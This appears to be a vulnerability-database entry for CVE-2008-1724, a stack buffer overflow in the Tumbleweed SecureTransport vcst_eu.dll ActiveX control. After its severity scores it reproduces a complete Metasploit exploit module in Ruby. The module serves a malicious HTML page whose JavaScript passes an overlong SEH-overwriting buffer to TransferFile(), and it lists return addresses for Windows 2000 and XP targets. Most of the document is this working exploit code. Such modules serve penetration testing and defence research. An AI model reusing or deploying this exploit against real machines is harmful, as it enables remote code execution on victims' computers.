Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow

2008-04-0707:57:10

aushack <[email protected]>

www.rapid7.com

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.897

Percentile

98.9%

JSON

This module exploits a stack buffer overflow in the vcst_eu.dll FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed SecureTransport suite. By sending an overly long string to the TransferFile() ‘remotefile’ function, an attacker may be able to execute arbitrary code.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the vcst_eu.dll
        FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
        SecureTransport suite. By sending an overly long string to the
        TransferFile() 'remotefile' function, an attacker may be able
        to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'aushack',
      'References'     =>
        [
          [ 'CVE', '2008-1724' ],
          [ 'OSVDB', '44252' ],
          [ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'		=>
        {
          'Space'		=> 1000,
          'BadChars'	=> "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
        },
      'Platform'		=> 'win',
      'Targets'		=>
        [
          # Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
          [ 'Universal vcst_eu.dll',		{ 'Ret' => 0x1001ee75 } ],
          [ 'Windows 2000 Pro English',   	{ 'Ret' => 0x75022ac4 } ],
          [ 'Windows XP Pro SP0/SP1 English',	{ 'Ret' => 0x71aa32ad } ],
        ],
      'DisclosureDate' => '2008-04-07',
      'DefaultTarget' => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname		= rand_text_alpha(rand(100) + 1)
    vurl 		= rand_text_alpha(rand(100) + 1)
    vhostName	= rand_text_alpha(rand(100) + 1)
    vlocalFile 	= rand_text_alpha(rand(100) + 1)
    vMD5	 	= rand_text_alpha(rand(100) + 1)

    # Build the exploit buffer
    filler = rand_text_alpha(4620)
    seh = generate_seh_payload(target.ret)
    sploit = filler + seh

    # Build out the message
    content = %Q|
      <html>
      <object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
      <script language="javascript">
      #{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end